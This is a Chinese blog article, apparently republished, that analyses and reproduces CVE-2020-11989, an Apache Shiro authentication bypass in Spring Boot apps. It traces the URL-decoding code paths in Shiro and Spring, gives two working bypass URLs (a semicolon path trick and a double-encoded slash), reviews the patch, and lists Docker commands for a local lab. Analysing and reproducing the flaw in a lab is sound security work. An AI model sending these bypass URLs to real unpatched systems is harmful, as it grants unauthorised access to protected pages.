怎么就行Apache Shiro权限绕过漏洞CVE-2020-11989的挖掘分析和复现

发布时间:2021-12-28 19:52:17 作者:柒染
来源:亿速云 阅读:155

这篇文章给大家介绍怎么就行Apache Shiro权限绕过漏洞CVE-2020-11989的挖掘分析和复现,内容非常详细,感兴趣的小伙伴们可以参考借鉴,希望对大家能有所帮助。

1.1 状态

完成漏洞挖掘条件分析、漏洞复现。

1.2 简介

Apache Shiro作为Java框架,可被用于身份认证、授权等任务。

整合Apache Shiro至Spring Boot中时,请求可能会导致越权绕过身份验证现象的出现,存在两种较好的利用现象,称为利用方法1和利用方法2。

存在安全缺陷的版本:Apache Shiro 1.5.3以前的版本。JDK:1.8.0_181。

1.3 漏洞挖掘能力条件

1.4 利用方法1

1.4.1 环境

设置Tomcat根目录为“/test/”【仅Apache Shiro 1.5.2有此严格限制】,端口为8088;设置“./admin/*”路径需要认证访问,成功则显示“hello, admin page”,具体配置见源代码 (https://github.com/HYWZ36/HYWZ36-CVE-2020-11989-code/tree/main/springboot-shiro-master0)。

1.4.2 目标

绕过认证访问“./admin/*”路径。

1.4.3 分析方法

对于输入的恶意URL“http://localhost:8088/;/test/admin/page”,首先采用Shiro进行权限验证处理。Shiro框架的decodeAndCleanUriString方法会根据“;”截取URI“/;/test//admin/page”的前部分内容,从而使得此请求通过权限验证。依次经过的重要类、方法如下:

类+方法

关键内容

org.apache.shiro.web.filter.mgt.PathMatchingFilterChainResolver#getChain

-

org.apache.shiro.web.filter.mgt.PathMatchingFilterChainResolver#getPathWithinApplication

String contextPath = getContextPath(request);   【=”/;/test”】
String requestUri = getRequestUri(request);

#输出内容作为Shiro的权限验证输入值

if   (StringUtils.startsWithIgnoreCase(requestUri, contextPath)) {

// Normal case: URI contains   context path.

String path =   requestUri.substring(contextPath.length());

return (StringUtils.hasText(path)   ? path : "/");

} else {

// Special case: rather unusual.

return requestUri;

}

org.apache.shiro.web.util.WebUtils#getRequestUri

uri =   valueOrEmpty(request.getContextPath()) + "/" +                    valueOrEmpty(request.getServletPath()) +                    valueOrEmpty(request.getPathInfo());【=”/;/test//admin/page”】

return   normalize(decodeAndCleanUriString(request, uri));

org.apache.shiro.web.util.WebUtils#decodeAndCleanUriString

int semicolonIndex = uri.indexOf(';');

怎么就行Apache Shiro权限绕过漏洞CVE-2020-11989的挖掘分析和复现

随后,在Spring框架中解析URL。关键点是在解码过程中,仅剔除URI中“;”而保全其他所有内容,从而解析得目标路径“/admin/page”。依次经过的重要类、方法如下:

类+方法

关键内容

org.springframework.web.util.UrlPathHelper#getPathWithinServletMapping

String pathWithinApp =   getPathWithinApplication(request);

String servletPath =   getServletPath(request);

return servletPath;

org.springframework.web.util.UrlPathHelper#getPathWithinApplication

String contextPath =   getContextPath(request); 【=”/;/test”】

String requestUri =   getRequestUri(request);

return requestUri;

org.springframework.web.util.UrlPathHelper#getRequestUri

String uri = (String)   request.getAttribute(WebUtils.INCLUDE_REQUEST_URI_ATTRIBUTE); 【=”/;/test/admin/page”】

return decodeAndCleanUriString(request,   uri);

org.springframework.web.util.UrlPathHelper#decodeAndCleanUriString

uri = removeSemicolonContent(uri); 【="//test/admin/ page"】

uri = decodeRequestString(request, uri); 【=" / /test/ admin / page”】

uri = getSanitizedPath(uri); 【=" / /test/ admin/ page”】

return uri;

org.springframework.web.util.UrlPathHelper#getServletPath

String servletPath = (String)   request.getAttribute(WebUtils.INCLUDE_SERVLET_PATH_ATTRIBUTE); 【=”/admin/page”】

return servletPath; 【=”/admin/page”】

1.5 利用方法2

1.5.1 环境

设置Tomcat根目录为“/test/”【仅Apache Shiro 1.5.2有此严格限制】,端口为8081;设置“./admin/*”路径需要认证访问,成功则显示“hello,admin”,具体配置见源代码 (https://github.com/HYWZ36/HYWZ36-CVE-2020-11989-code/tree/main/springboot-shiro-master)。

1.5.2 目标

绕过认证访问“./admin/{name}”路径。

1.5.3 分析方法

对于输入的恶意URL“http://localhost:8081/test/admin/a%25%32%66a”,首先采用Shiro进行权限验证处理。Shiro框架的decodeRequestString方法会进行两次解码得到URI“/admin/a/a”,并因其分割后的数组长度大于模板“/admin/*”而使得此请求通过权限验证。依次经过的重要类、方法如下:

类+方法

关键内容

org.apache.shiro.web.filter.mgt.PathMatchingFilterChainResolver#getChain

String requestURI =   getPathWithinApplication(request);

if (pathMatches(pathPattern, requestURI))   {……

return null;

org.apache.shiro.web.util.WebUtils#getPathWithinApplication

String contextPath =   getContextPath(request); 【=”/test”】

String requestUri =   getRequestUri(request);

org.apache.shiro.web.util.WebUtils#getRequestUri

uri =   valueOrEmpty(request.getContextPath()) + "/"   +valueOrEmpty(request.getServletPath()) +valueOrEmpty(request.getPathInfo());   【=" /test/ / admin/a%2fa "】

return   normalize(decodeAndCleanUriString(request, uri));

org.apache.shiro.web.util.WebUtils#decodeAndCleanUriString

uri = decodeRequestString(request, uri);

return (semicolonIndex != -1 ?   uri.substring(0, semicolonIndex) : uri);

org.apache.shiro.web.util.WebUtils#decodeRequestString

return URLDecoder.decode(source, enc);

java.net.URLDecoder#decode(java.lang.String,   java.lang.String)

#可解码“%2f”为“/”

while (i < numChars) {

c = s.charAt(i);

switch (c) {

case '+':

sb.append(' ');

i++;

needToChange = true;

break;

case '%':…………

return (needToChange? sb.toString() : s);   【=”/test//admin/a/a”】

org.apache.shiro.web.filter.mgt.PathMatchingFilterChainResolver#pathMatches

return pathMatcher.matches(pattern,   path); 【pattern : " / admin/*",source: " / admin/ a / a "】

org.apache.shiro.util.PatternMatcher#matches

return match(pattern, source);

org.apache.shiro.util.AntPathMatcher#doMatch

#判断得模板长度短于URI长度,说明URI和当前模板不属于同一类。

if (pathIdxStart > pathIdxEnd) {

// Path is exhausted, only match   if rest of pattern is * or **'s

……

} else if (pattIdxStart > pattIdxEnd)   {

// String not exhausted, but   pattern is. Failure.

return false;

随后,在Spring框架中解析URL。关键点是在解码过程中,仅解码得路径是“/test/admin/a%252f”,因此符合“/admin/{name}”规则得以正常访问。依次经过的重要类、方法如下:

类+方法

关键内容

javax.servlet.Servlet#service

-

javax.servlet.http.HttpServlet#doGet

-

1.6 补丁分析

如下图,修改了org.apache.shiro.web.util.WebUtils#getPathWithinApplication,采用两个标准方法获取URI有效应对了“/;/…”安全缺陷,且无解码操作从而有效应对了“a%25%32%66a”安全缺陷。

怎么就行Apache Shiro权限绕过漏洞CVE-2020-11989的挖掘分析和复现

1.7 docker复现

加载容器tar为镜像的例子:

cat ./ubuntu-xxx.tar | docker import - ubuntu-new

设置局域网及容器ip、启动容器的例子:

(1)自定义网络

docker network create --subnet=192.168.10.1/24 testnet

(2)启动docker容器

docker run -p 8088:8088 -p 8081:8081 -it --name testt3 --hostname testt3 --network testnet --ip 10.10.10.100 ubuntuxxx:xxx /bin/bash

镜像名称为ubuntu_cve-2020-11989:v1,需开启8088和8081的端口映射功能。

启动进入容器后,复现利用方法1。切换到目录【/springboot-shiro-master0/target】下,执行命令【java -jar srpingboot-shiro-0.0.1-SNAPSHOT.jar】。随后在宿主机浏览器输入【http://localhost:8088/;/test/admin/page】,成功访问表明复现成功,如下图。

怎么就行Apache Shiro权限绕过漏洞CVE-2020-11989的挖掘分析和复现

复现利用方法2。中断当前程序,切换到目录【/springboot-shiro-master1/target】下,执行命令【java -jar srpingboot-shiro-0.0.1-SNAPSHOT.jar】。随后在宿主机浏览器输入【http://localhost:8081/test/admin/a%25%32%66a】,成功访问表明复现成功,如下图。

怎么就行Apache Shiro权限绕过漏洞CVE-2020-11989的挖掘分析和复现

关于怎么就行Apache Shiro权限绕过漏洞CVE-2020-11989的挖掘分析和复现就分享到这里了,希望以上内容可以对大家有一定的帮助,可以学到更多知识。如果觉得文章不错,可以把它分享出去让更多的人看到。

推荐阅读:
  1. Apache中间件漏洞原理及复现方法
  2. 怎么实现Apache Unomi 远程代码执行漏洞CVE-2020-13942复现

免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。

apache shiro cve-2020-11989

上一篇:怎么进行CVE-2017-11882分析

下一篇:如何进行CVE-2020-16898漏洞复现

相关阅读

您好,登录后才能下订单哦!

密码登录
登录注册
其他方式登录
点击 登录注册 即表示同意《亿速云用户服务条款》